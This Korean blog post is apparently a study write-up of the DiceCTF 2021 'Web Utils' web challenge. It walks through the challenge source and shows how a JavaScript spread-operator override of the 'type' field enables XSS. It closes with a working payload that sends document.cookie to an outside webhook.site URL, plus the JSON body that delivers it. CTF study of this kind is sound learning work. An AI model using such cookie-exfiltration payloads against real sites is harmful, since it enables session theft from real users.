ctf 웹 문제를 분석하거나 풀어보면서 공부하는 스터디 글입니다.
1. CTF 문제
2021 DiceCTF의 Web Utils를 분석했습니다. 라업은 아래의 라업을 참고했습니다.
www.dongyeon1201.kr/ec146698-9dad-463e-bbba-cacb2b25c28d
2. 취약점 목록
1. XSS
2. JS 스프레드 연산자 취약점
3. 분석
이 문제는 두개의 툴을 이용해서 푸는 문제입니다. 하나씩 소개하면서 어떤 용도로 사용되는지 살펴보겠습니다.
1. I can pass it along
이 툴은 DiceCTF에서 출제되었던 많은 웹 문제에서 사용되었던 툴로 Admin bot이 사용자가 입력한 url에 접속하여 문제 풀이 여부를 확인하는 툴로 소개되고 있습니다.
2. dump tool
dump tool은 이 문제의 풀이에서 핵심이 되는 도구이며 아래의 두 기능을 가집니다.
- Link Shortener : 특정 url을 web-utils.dicec.tf 도메인을 사용하는 url로 변환해주는 기능을 합니다.
- Pastebin : 특정 데이터를 입력했을 때, 해당 데이터를 화면에 출력해주는 url을 만들어줍니다.
- TEST_DATA 입력 시 → https://web-utils.dicec.tf/view/9xjNOrTu
3. dump tool 소스코드 분석
문제에서 제공하는 dump tool의 구조는 아래와 같습니다.
1. 서버 정보 분석
index.js 분석
const fastify = require('fastify')();
const path = require('path');
/* 기본 경로 정의 */
fastify.register(require('fastify-static'), {
root: path.join(__dirname, 'public'),
redirect: true,
prefix: '/'
});
/* /api/~ 경로 route */
/* /routes/api.js 분석 필요 */
fastify.register(require('./routes/api'), {
prefix: '/api/'
});
/* /view/~ 경로 route */
/* /routes/view.js 분석 필요 */
fastify.register(require('./routes/view'), {
prefix: '/view/'
});
const start = async () => {
console.log(`listening on ${await fastify.listen(3000, '0.0.0.0')}`)
}
start()
이 페이지에서는 /api/ 경로와 /view/ 경로를 사용할 때의 방법을 정의해 둔 것을 확인할 수 있고, index.html 파일을 분석하여 어떤 경로로 Link Shortner와 Patsebin이 기능을 사용하는지 확인한다는 것을 알 수 있는 코드입니다.
/public/index.html 분석
이 소스코드를 확인하면 두 가지 도구의 기능을 확인하기 위해서는 각각의 상세코드를 확인해야 한다는 것을 알 수 있습니다.
<!DOCTYPE html>
<html>
<head>
<title>Web Utils</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="parent">
<div class="content">
<a href="links/">Link Shortener</a>
<a href="pastes/">Pastebin</a>
</div>
</div>
</body>
</html>
2. Link Shortener 기능 분석
[1] /public/links/index.html
<!DOCTYPE html>
<html>
<head>
<title>Link Shortener</title>
<link rel="stylesheet" href="style.css">
<script src="script.js"></script>
</head>
<body>
<div class="parent">
<div class="content">
<form id="url-form">
<input id="url-input" type="text" placeholder="Link..." spellcheck="false"/>
<input id="submit-button" type="submit" value="Shorten"/>
<div id="output" class="display"></div>
</form>
</div>
</div>
</body>
</html>
이 소스코드를 살펴보면 input 필트를 통해 변환할 링크를 입력받는 것을 알 수 있습니다. 하지만 이 부분은 정적 페이지 부분이기 때문에 페이지가 어떻게 동작하는지 상세히 알기 위해서는 script.js 파일을 분석해야 한다는 것을 알 수 있습니다.
[2] /public/links/script.js
(async () => {
await new Promise((resolve) => {
window.addEventListener('load', resolve);
});
document.getElementById('url-form').addEventListener('submit', async (e) => {
e.preventDefault();
/* index.html에서 입력한 URL을 가져온다. */
const url = document.getElementById('url-input').value;
/* /api/createLink 경로에 입력받은 URL(url 변수)값을 json 형태로 전달 */
const res = await (await fetch('/api/createLink', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
data: url
})
})).json();
if (res.error) {
return;
}
// 주소의 맨 뒷 부분(res.data)을 반환해준다.
document.getElementById('output').textContent =
`${window.origin}/view/${res.data}`
});
})();
이 소스코드를 보면, index.html에서 입력 받은 url(index.html에서 url-input으로 이름이 설정되어 있는 태그 확인)을 /api/createLink라는 경로에 json형태로 전달하여 특정값을 전달 받습니다. 저는 아직까지 많은 공부를 하지않아서 json형태라는 것이 이루어져있다는 것을 이해하지 못해서 조금 찾아봤습니다. 제가 찾아본 글 중 아래의 글이 가장 이해하기 쉬워서 링크를 남깁니다.
그리고 마지막 부분을 보면 res의 data값을 사용하는데 이 값이 어떻게 생성되어서 res에 저장되는지를 확인하기 위해서는 /api/createLink의 분석이 필요합니다.
[3] /routes/api.js(/api/createLink)
/* DB 정보 가져옴 */
const database = require('../modules/database');
module.exports = async (fastify) => {
fastify.post('createLink', {
handler: (req, rep) => {
//[A-Za-z0-9] 문자를 이용한 랜덤 8자리를 만들어 반환한다.
/* ../modules/database 분석 필요 */
const uid = database.generateUid(8);
const regex = new RegExp('^https?://');
/* 입력한 URL이 https:// 로 시작하는지 확인한다. */
if (! regex.test(req.body.data))
return rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
error: 'Invalid URL'
});
// SQLite에 데이터 추가 [ ../modules/database ] 확인 시 SQLite 인 것을 확인 가능
// addData: db.prepare(`INSERT INTO data (uid, data, type) VALUES (?, ?, ?);`) 실행
database.addData({ type: 'link', ...req.body, uid });
/* 이전에 만든 랜덤한 8자리(uid)를 반환한다. */
/* 이 uid는 생성된 URL 맨뒤에 사용된다. */
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data: uid
});
},
/* /public/links/script.js 에서 전송한 url */
schema: {
body: {
type: 'object',
required: ['data'],
properties: {
data: { type: 'string' }
}
}
}
});
...
}
이 부분에서 앞서 소개했던 script.js로부터 전달받은 url 값을 db에 저장하는 기능이라고 볼 수 있습니다. 저장하는 값들의 정보는 아래와 같습니다.
•uid : database.generateUid(8) 결과 값
•data : /public/links/script.js 에서 전송한 데이터
•type : 'link' 값
여기서 db와 관련된 정보는 db모듈 코드에서 다루도록 하겠습니다.
3. Patsebin 기능 분석
Pastebin의 기능은 Link Shortener와 입력 받는 인자를 제외하고는 3코드 모두 같은 기능을 합니다. 그렇기 상세한 코드 설명은 하지 않고 라업에 나와 있는 소스코드만 남기도록 하겠습니다. 이 부분에 대해서 라업의 설명이라도 참고하고 싶은 분들은 윗부분에 첨부해놓은 라업의 링크를 클릭해서 내용을 참고하면 좋을 것 같습니다.
[1] /public/pastes/index.html
<!DOCTYPE html>
<html>
<head>
<title>Link Shortener</title>
<link rel="stylesheet" href="style.css">
<script src="script.js"></script>
</head>
<body>
<div class="parent">
<div class="content">
<form id="url-form">
<input id="url-input" type="text" placeholder="Link..." spellcheck="false"/>
<input id="submit-button" type="submit" value="Shorten"/>
<div id="output" class="display"></div>
</form>
</div>
</div>
</body>
</html>
[2] /public/pastes/script.js
(async () => {
await new Promise((resolve) => {
window.addEventListener('load', resolve);
});
document.getElementById('text-form').addEventListener('submit', async (e) => {
e.preventDefault();
/* index.html에서 입력한 데이터 값을 얻어옴 */
const text = document.getElementById('text-input').value;
/* /api/createPaste에 입력한 데이터를 json 형태로 전송한다. */
const res = await (await fetch('/api/createPaste', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
data: text
})
})).json();
if (res.error) {
return;
}
/* 주소의 맨 뒷 부분을 반환해준다. */
document.getElementById('output').textContent =
`${window.origin}/view/${res.data}`
});
})();
[3] /routes/api.js(/api/createPaste)
/* DB 정보 가져옴 */
const database = require('../modules/database');
module.exports = async (fastify) => {
fastify.post('createPaste', {
handler: (req, rep) => {
//[A-Za-z0-9] 문자를 이용한 랜덤 8자리를 만들어 반환한다.
/* ../modules/database 분석 필요 */
const uid = database.generateUid(8);
// SQLite에 데이터 추가 [ ../modules/database ] 확인 시 SQLite 인 것을 확인 가능
// addData: db.prepare(`INSERT INTO data (uid, data, type) VALUES (?, ?, ?);`) 실행
database.addData({ type: 'paste', ...req.body, uid });
/* 랜덤한 8자리를 반환 */
rep
.code(200)
.header('Content-Type', 'application/json; charset=utf-8')
.send({
statusCode: 200,
data: uid
});
},
schema: {
body: {
type: 'object',
required: ['data'],
properties: {
data: { type: 'string' }
}
}
}
});
...
}
4. DB 모듈 분석
/* SQLite 사용 확인 가능 */
const Database = require('better-sqlite3')
const db = new Database('db.sqlite3')
const init = () => {
db.prepare(`CREATE TABLE IF NOT EXISTS data(
id INTEGER PRIMARY KEY AUTOINCREMENT,
uid TEXT,
data TEXT,
type TEXT
);`
).run();
}
init();
const statements = {
/* DATA 조회 시 사용 */
getData: db.prepare(`SELECT data, type FROM data WHERE uid = ?;`),
/* DATA 추가 시 사용 */
addData: db.prepare(`INSERT INTO data (uid, data, type) VALUES (?, ?, ?);`)
}
module.exports = {
getData: ({ uid }) => {
return statements.getData.get(uid);
},
addData: ({ uid, data, type }) => {
statements.addData.run(uid, data, type);
},
//[A-Za-z0-9] 문자를 이용한 랜덤 8자리를 만들어 반환한다.
generateUid: (length) => {
const characters =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
const arr = [];
for (let i = 0; i < length; i++) {
arr.push(
characters.charAt(Math.floor(Math.random() * characters.length))
);
}
return arr.join('');
}
}
이 부분을 보면 위 두 도구의 api.js 에서 저장하는 값들을 확인할 수 있습니다. 그리고 db는 SQLite를 사용한다는 점과 두 도구에서 사용되는 랜덤한 8자리 문자열을 만들어서 반환하는 부분도 이 소스드에서 확인할 수 있었습니다.
5. 보기 기능 분석
위 소스코드를 통해 어떻게 url이 만들어지는지 확인했습니다. 그렇다면 이 링크들이 어떻게 해당 url로 접속하는지나 데이터를 출력하는지를 보여주는 코드인데, view,js 파일을 통해서는 view.html을 출력한다는 내용 외에는 알 수 있는 사실이 없습니다. 아마 정확하게 어떤 구조로 웹 페이지가 동작하는지에 대한 것은 view.html에 있을 것이라고 추측할 수 있습니다.
module.exports = async (fastify) => {
fastify.get(':id', {
handler: (req, rep) => {
rep.sendFile('view.html');
}
})
}
6. 취약점 분석
이 문제는 Admin bot을 이용해 쿠키를 탈취하는 문제입니다. 즉 XSS를 통해 공격을 진행해야 한다는 뜻이 됩니다. 그래서 view.html이 어떻게 동작하는지를 확인한 후 이를 이용하여 쿠키를 탈취하는 링크를 제작하여야 합니다. 그렇다면 각 툴로 생성된 링크들이 어떻게 동작하는지 살펴 보겠습니다.
[1] LinkShortener
라업에서는 구글의 url로 링크를 생성한 후, 생성된 링크를 클릭하여 결과를 확인한 결과, 링크를 클릭했을 때 우리가 넣어던 링크로 리다이렉션 하는 방식으로 우리가 입력한 링크로 이동했습니다.
[2] Pastebin
Pastebin의 경우에는 단순히 링크를 클릭하면 db에 저장되어 있는 입력 값을 echo 처럼 화면에 출력해주는 것 같습니다. 라업의 작성자는 여기서 XSS를 시도하려 했지만 실패했다고 합니다. 이 이유는 view.html파일을 분석한 내용을 보면서 알 수 있었습니다.
이 두 결과를 보면 알 수있는 점이 있습니다. 위에서 설명했듯이 Link Shortener, Pastebin의 링크를 만드는 부분은 이름만 다를 뿐, 링크를 만드는 과정에 있어서는 큰 차이가 없습니다. 하지만 위에서 알 수 있듯이 두 링크는 다르게 동작합니다. 이 부분에 대해서 view.html 코드를 분석하면서 확인했습니다.
7. view.html 분석
<!doctype html>
<html>
<head>
<script async>
(async () => {
//uid를 출력
const id = window.location.pathname.split('/')[2];
//uid 가 없을 경우(이상한 링크 일때)
if (! id) window.location = window.origin;
// 접속 후 결과를 얻어옴
// {"statusCode":200,"data":"123","type":"paste"} 형태
const res = await fetch(`${window.origin}/api/data/${id}`);
// data / type 값을 얻어옴
const { data, type } = await res.json();
// data / type 값이 정상적으로 들어있지 않을 경우
if (! data || ! type ) window.location = window.origin;
// type 이 'link'일 경우 -> data에 작성된 주소로 이동
// 이 부분을 이용해서 XSS를 동작시켜야 함.
if (type === 'link') return window.location = data;
// /api/createLink 에서 type이 Link로 변하기 때문에, paste 기능으로 만들어진 링크를 한번 더 link로 변환해야한다.
if (document.readyState !== "complete")
await new Promise((r) => { window.addEventListener('load', r); });
document.title = 'Paste';
document.querySelector('div').textContent = data;
})()
</script>
</head>
<body>
<div style="font-family: monospace"></div>
</bod>
</html>
여기서 주목해야할 점은 두 가지 입니다.
if (type === 'link') return window.location = data;
if (document.readyState !== "complete") await new Promise((r) => { window.addEventListener('load', r); }); document.title = 'Paste'; document.querySelector('div').textContent = data;
첫 번째 조건문이 LinkShortener입니다. 이 조건문을 만나기전 data와 type의 값을 db에서 가져오게 되는데 이때 type의 값이 'link' 일 경우 windows.location을 통해 리다이렉션 동작을 수행하게 됩니다.(이 부분을 이용해서 XSS를 수행해야 합니다.)
그리고 두 번째 조건문은 type이 'link'가 아닐 경우, 즉 Paste의 정보일 경우 div 태그를 이용하여 출력하게 되는데, 이렇게 되면 XSS 수행할 수 없습니다. 즉 Pastebin을 이용해서 공격을 하기 위해서는 type의 값을 'link'로 설정하여 db에 저장해야 원하는 XSS 공격을 할 수 있게 되는 것입니다.
정리하면 아래의 두 조건을 만족하는 값을 DB에 넣어야 XSS를 수행할 수 있습니다.
1. data 값 -> XSS 구문
2. type 값 -> 'link'
4. 전체 페이로드 분석
위에서 소개한 두 조건을 만족하는 페이로드를 만드는 과정입니다.
1번 조건 만족
window.location되는 값에 document.cookie함수를 삽입하여 우리가 원하는 목적인 쿠키를 탈취할 수 있게 만들어 줍니다. 라업에서 사용한 구문은 아래와 같습니다.
window.location = "javascript:location.href='https://webhook.site/b4f4608e-aa5d-4837-a8e5-88dfb037c8eb/?FLAG='+document.cookie"
2번 조건 만족
2번 조건은 db에서 가져온 type의 값이 'link'여야 한다는 점입니다. 이 말을 해석하면 해당된 링크가 Link Shortener로 만들어진 링크여야 한다는 것입니다. 여기서 이를 확인하는 조건이 시작 부분이 'https://'로 시작하는지를 확인하는 것인데 1번조건을 만족시키기 위한 구문을 보면 조건을 만족하지 않습니다.
이 조건을 우회하기 위해서는 아래의 코드의 취약점을 이용합니다.
database.addData({ type: 'paste', ...req.body, uid });
여기서 주목해야할 점은 ...req.body 로 값을 받는 부분입니다. 이 부분은 JS 스프레드 연산자로 불리는데, 아래의 그림처럼 두 배열등을 값을 연결할때, 사용된다고 합니다.
그리고 이 기능 중에 덮어쓸 수 있는 기능이 있다는 것이 이 문제의 핵심입니다. 만약 아래의 그림처럼 JS스프레드 연산자로 받은 값과 기존에 있던 변수가 같을경우 스프레드 연산자로 받은 값으로 덮어씌워진다는 점입니다.
이 점을 이용해서 Pastebin으로 입력한 값의 type이 'paste'가 아니라 'link'로 덮어씌울 수 있습니다. 그렇게 하기 위해서 공격 스크립트 코드를 아래처럼 조금 수행해주었습니다.
{
"data" : "javascript:location.href='https://webhook.site/b4f4608e-aa5d-4837-a8e5-88dfb037c8eb/?FLAG='+document.cookie",
"type" : "link"
}
이렇게 넣어주게 되면 위의 예시처럼 type의 값이 link로 바뀌게 되고, 분석에서 사용했던 두 조건을 모두 만족하게 됩니다. 이 값을 넣어서 만들어진 링크를 Admin bot에 넣어주면 됩니다.
5. 리뷰
이 문제는 엄청나게 높은 난이도를 가진 문제라고는 생각하지 않습니다. 하지만 분석해야 하는 소스코드의 양이 많고, 소스코드가 서로 연계되어 동작하기 때문에 각 코드가 어떤 상황에서 어떤 조건에 의해 동작하는지를 상세히 분석해야 하는 문제입니다. 그리고 최종 스크립트를 만들기 위해서는 자바스크립트 코드의 특성을 이용한 공격까지 배울 수 있는 문제입니다. 포너블은 주로 한 바이너리에서 다양한 함수들이 연계되는 부분들을 자세히 분석하고 존재한 취약점을 이용하여 공격을 진행하는 공격이 많습니다. 그만큼 소스코드 분석에 대한 실력이 있어햐 합니다. 이 문제를 통해서 웹 문제도 포너블처럼 다양한 코드들이 연계되어 있고, 그 부분을 천천하게, 그리고 꼼꼼하게 분석해 나가는 과정을 공부할 수 있었습니다. 이 문제를 공부하면서 새로운 유형의 웹 문제를 접할 수 있었던 부분이 가장 좋았습니다. 이 문제의 점수는 5.5점정도 주고 싶습니다.
'웹 > CTF study & write up' 카테고리의 다른 글
ctf study #9 (0) | 2021.03.08 |
---|---|
ctf study #8 (0) | 2021.03.08 |
ctf study #6 (0) | 2021.02.24 |
ctf study #5 (0) | 2021.02.17 |
ctf study #4 (0) | 2021.02.15 |